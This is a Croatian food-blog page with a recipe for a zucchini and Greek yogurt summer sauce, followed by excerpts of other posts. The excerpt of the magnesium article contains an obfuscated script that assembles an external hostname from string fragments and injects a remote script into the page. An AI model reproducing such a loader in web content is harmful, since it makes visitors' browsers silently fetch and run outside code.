SVJEŽI LJETNI UMAK OD TIKVICA




Svježi ljetni umak od tikvica 



Ovaj umak posebno je dobar izbor kada imate višak tikvica, a želite nešto brzo, lagano i praktično za posluživanje uz roštilj, piknik ili večeru na otvorenom. Osnova recepta je grčki jogurt, kojem se dodaju naribane tikvice, češnjak, maslinovo ulje, limunova korica i začini.




Svježi ljetni umak od tikvica 


Sastojci:

Za četiri porcije:

  • 1 srednje velika tikvica, oko 250 g
  • sol po ukusu
  • 250 g grčkog jogurta, 10 % masti
  • korica 1 bio limuna
  • 1 režanj češnjaka
  • 1 jušna žlica maslinova ulja
  • crni papar po ukusu
  • malo limunova soka, po želji



Priprema:

Tikvicu operite, odrežite joj krajeve i naribajte je na sitno.

Naribane tikvice posolite i stavite u cjedilo. Ostavite ih da se cijede oko 15 minuta, a zatim ih dobro istisnite rukama kako biste uklonili višak vode.

Grčki jogurt stavite u zdjelu.

Limunovu koricu sitno naribajte i dodajte je jogurtu.

Češnjak ogulite i protisnite izravno u jogurt.

Dodajte ocijeđene tikvice, maslinovo ulje i svježe mljeveni crni papar pa sve dobro promiješajte.

Po želji dodatno začinite s malo soli, limunove korice i limunova soka.

Prije posluživanja umak stavite u hladnjak na najmanje 30 minuta kako bi se okusi povezali.


Uz što ga poslužiti?

Tzatziki s tikvicama dobro se slaže s brojnim ljetnim jelima, a posebno uz:

  • jela s roštilja,
  • krumpir iz pećnice,
  • svježi kruh ili lepinje,
  • povrće,
  • salate i lagane ljetne obroke.

Zbog osvježavajućeg okusa limuna, kremaste teksture jogurta i blage note češnjaka, ovaj umak može biti jednostavan dodatak gotovo svakom ljetnom stolu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više